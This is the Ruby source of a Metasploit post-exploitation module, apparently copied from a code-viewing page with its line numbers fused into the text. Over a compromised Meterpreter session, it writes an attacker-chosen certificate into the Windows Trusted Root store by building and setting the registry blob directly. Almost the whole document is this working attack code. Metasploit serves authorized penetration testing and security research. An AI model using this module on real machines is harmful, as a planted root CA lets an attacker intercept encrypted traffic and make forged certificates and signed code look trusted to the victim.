Path: blob/master/modules/post/windows/manage/inject_ca.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Windows Manage Certificate Authority Injection',12'Description' => %q{13This module allows the attacker to insert an arbitrary CA certificate14into the victim's Trusted Root store.15},16'License' => BSD_LICENSE,17'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter' ],20'Compat' => {21'Meterpreter' => {22'Commands' => %w[23stdapi_registry_create_key24stdapi_registry_open_key25]26}27},28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],31'Reliability' => []32}33)34)3536register_options(37[38OptPath.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', ''])39]40)41end4243def run44certfile = datastore['CAFILE']4546# Check file path47begin48::File.stat(certfile)49rescue StandardError50print_error('CAFILE not found')51return52end5354# Load the file55f = ::File.open(certfile, 'rb')56cert = f.read(f.stat.size)57f.close5859loadedcert = OpenSSL::X509::Certificate.new(cert)60certmd5 = Digest::MD5.hexdigest(loadedcert.to_der).scan(/../)61certsha1 = Digest::SHA1.hexdigest(loadedcert.to_der).scan(/../)62cskiray = loadedcert.extensions[0].value.gsub(/:/, '').scan(/../)6364der_length = loadedcert.to_der.length.to_s(16)65if (der_length.length < 4)66der_length = "0#{der_length}"67end6869der_ray = der_length.scan(/../)70hex_der_length = [ der_ray[1], der_ray[0] ]7172certder = loadedcert.to_der.each_byte.collect { |val| '%02X' % val }7374bblob = [ '04', '00', '00', '00', '01', '00', '00', '00', '10', '00', '00', '00' ]75bblob += certmd576bblob += [ '03', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]77bblob += certsha178bblob += [ '14', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]79bblob += cskiray80bblob += [ '20', '00', '00', '00', '01', '00', '00', '00' ]81bblob += hex_der_length82bblob += [ '00', '00' ]83bblob += certder8485blob = bblob.map(&:hex).pack('C*')8687cleancertsha1 = certsha1.to_s.gsub(/[\s\[\\"\]]/, '').gsub(/,/, '').upcase88catree = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'89entire_key = "#{catree}\\#{cleancertsha1}"90root_key, base_key = client.sys.registry.splitkey(entire_key)9192# Perform the registry operations9394# Ensure the cert doesn't already exist95begin96open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)97values = open_key.enum_value98if !values.empty?99print_error('Key already exists!')100return101end102rescue StandardError103open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)104print_good("Successfully created key: #{entire_key}")105106open_key.set_value('Blob', REG_BINARY, blob)107print_good('CA inserted!')108end109end110end111112113